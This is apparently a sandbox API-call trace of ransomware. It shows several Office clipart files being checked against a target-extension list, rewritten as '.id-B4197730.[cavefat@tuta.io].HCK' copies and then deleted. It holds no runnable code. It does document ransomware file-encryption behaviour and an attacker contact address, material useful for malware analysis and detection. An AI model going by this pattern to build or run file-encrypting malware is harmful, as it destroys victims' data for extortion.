lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.295] lstrlenW (lpString=".pdf") returned 4 [0179.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString=".xls") returned 4 [0179.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.295] lstrlenW (lpString=".xlsx") returned 5 [0179.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.295] lstrlenW (lpString=".ppt") returned 4 [0179.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.295] lstrlenW (lpString=".zip") returned 4 [0179.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.295] lstrlenW (lpString=".rar") returned 4 [0179.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.295] lstrlenW (lpString=".bz2") returned 4 [0179.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.296] lstrlenW (lpString=".7z") returned 3 [0179.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.296] lstrlenW (lpString=".dbf") returned 4 [0179.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.296] lstrlenW (lpString=".1cd") returned 4 [0179.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF") returned 68 [0179.296] lstrlenW (lpString=".jpg") returned 4 [0179.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.296] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.296] lstrlenW (lpString="PE02270_.WMF") returned 12 [0179.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.298] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=28454) returned 1 [0179.298] CloseHandle (hObject=0x368) returned 1 [0179.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf")) returned 0x220 [0179.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.307] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.307] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.313] GetLastError () returned 0x0 [0179.313] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6f26, lpOverlapped=0x0) returned 1 [0179.316] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6f30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6f30, lpOverlapped=0x0) returned 1 [0179.317] ReadFile (in: hFile=0x3a4, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.317] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.317] SetEndOfFile (hFile=0x39c) returned 1 [0179.320] CloseHandle (hObject=0x39c) returned 1 [0179.321] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.321] SetEndOfFile (hFile=0x3a4) returned 1 [0179.322] CloseHandle (hObject=0x3a4) returned 1 [0179.325] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.325] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02270_.wmf")) returned 1 [0179.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.326] lstrlenW (lpString=".doc") returned 4 [0179.326] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.326] lstrlenW (lpString=".docx") returned 5 [0179.326] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.326] lstrlenW (lpString=".pdf") returned 4 [0179.326] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.326] lstrlenW (lpString=".xls") returned 4 [0179.326] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.326] lstrlenW (lpString=".xlsx") returned 5 [0179.326] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.326] lstrlenW (lpString=".ppt") returned 4 [0179.326] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.326] lstrlenW (lpString=".zip") returned 4 [0179.326] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.326] lstrlenW (lpString=".rar") returned 4 [0179.326] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.326] lstrlenW (lpString=".bz2") returned 4 [0179.326] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.326] lstrlenW (lpString=".7z") returned 3 [0179.326] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".dbf") returned 4 [0179.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".1cd") returned 4 [0179.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".jpg") returned 4 [0179.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".doc") returned 4 [0179.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString=".docx") returned 5 [0179.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.327] lstrlenW (lpString=".pdf") returned 4 [0179.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString=".xls") returned 4 [0179.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.327] lstrlenW (lpString=".xlsx") returned 5 [0179.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.327] lstrlenW (lpString=".ppt") returned 4 [0179.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".zip") returned 4 [0179.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.327] lstrlenW (lpString=".rar") returned 4 [0179.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString=".bz2") returned 4 [0179.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString=".7z") returned 3 [0179.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".dbf") returned 4 [0179.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".1cd") returned 4 [0179.327] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02270_.WMF") returned 68 [0179.327] lstrlenW (lpString=".jpg") returned 4 [0179.327] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.327] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.327] lstrlenW (lpString="PE02287_.WMF") returned 12 [0179.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.328] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17796) returned 1 [0179.329] CloseHandle (hObject=0x39c) returned 1 [0179.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf")) returned 0x220 [0179.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.339] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.339] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.340] GetLastError () returned 0x0 [0179.340] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4584, lpOverlapped=0x0) returned 1 [0179.342] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4590, lpOverlapped=0x0) returned 1 [0179.343] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.343] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.343] SetEndOfFile (hFile=0x370) returned 1 [0179.347] CloseHandle (hObject=0x370) returned 1 [0179.348] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.348] SetEndOfFile (hFile=0x39c) returned 1 [0179.349] CloseHandle (hObject=0x39c) returned 1 [0179.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf")) returned 1 [0179.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.350] lstrlenW (lpString=".doc") returned 4 [0179.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString=".docx") returned 5 [0179.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.351] lstrlenW (lpString=".pdf") returned 4 [0179.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString=".xls") returned 4 [0179.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.351] lstrlenW (lpString=".xlsx") returned 5 [0179.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.351] lstrlenW (lpString=".ppt") returned 4 [0179.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.351] lstrlenW (lpString=".zip") returned 4 [0179.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.351] lstrlenW (lpString=".rar") returned 4 [0179.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString=".bz2") returned 4 [0179.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString=".7z") returned 3 [0179.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.351] lstrlenW (lpString=".dbf") returned 4 [0179.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.351] lstrlenW (lpString=".1cd") returned 4 [0179.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.351] lstrlenW (lpString=".jpg") returned 4 [0179.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.351] lstrlenW (lpString=".doc") returned 4 [0179.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString=".docx") returned 5 [0179.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.351] lstrlenW (lpString=".pdf") returned 4 [0179.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.351] lstrlenW (lpString=".xls") returned 4 [0179.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.351] lstrlenW (lpString=".xlsx") returned 5 [0179.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.351] lstrlenW (lpString=".ppt") returned 4 [0179.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.352] lstrlenW (lpString=".zip") returned 4 [0179.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.352] lstrlenW (lpString=".rar") returned 4 [0179.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.352] lstrlenW (lpString=".bz2") returned 4 [0179.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.352] lstrlenW (lpString=".7z") returned 3 [0179.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.352] lstrlenW (lpString=".dbf") returned 4 [0179.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.352] lstrlenW (lpString=".1cd") returned 4 [0179.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF") returned 68 [0179.352] lstrlenW (lpString=".jpg") returned 4 [0179.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.352] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.352] lstrlenW (lpString="PE02369_.WMF") returned 12 [0179.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.353] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2240) returned 1 [0179.353] CloseHandle (hObject=0x368) returned 1 [0179.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf")) returned 0x220 [0179.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.373] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.373] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.376] GetLastError () returned 0x0 [0179.376] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8c0, lpOverlapped=0x0) returned 1 [0179.379] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x8d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x8d0, lpOverlapped=0x0) returned 1 [0179.379] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.380] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.380] SetEndOfFile (hFile=0x39c) returned 1 [0179.380] CloseHandle (hObject=0x39c) returned 1 [0179.381] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.381] SetEndOfFile (hFile=0x368) returned 1 [0179.382] CloseHandle (hObject=0x368) returned 1 [0179.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02369_.wmf")) returned 1 [0179.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString=".doc") returned 4 [0179.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString=".docx") returned 5 [0179.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.384] lstrlenW (lpString=".pdf") returned 4 [0179.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString=".xls") returned 4 [0179.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.384] lstrlenW (lpString=".xlsx") returned 5 [0179.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.384] lstrlenW (lpString=".ppt") returned 4 [0179.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString=".zip") returned 4 [0179.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.384] lstrlenW (lpString=".rar") returned 4 [0179.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString=".bz2") returned 4 [0179.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString=".7z") returned 3 [0179.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString=".dbf") returned 4 [0179.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString=".1cd") returned 4 [0179.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString=".jpg") returned 4 [0179.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString=".doc") returned 4 [0179.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString=".docx") returned 5 [0179.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.384] lstrlenW (lpString=".pdf") returned 4 [0179.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString=".xls") returned 4 [0179.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.384] lstrlenW (lpString=".xlsx") returned 5 [0179.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.384] lstrlenW 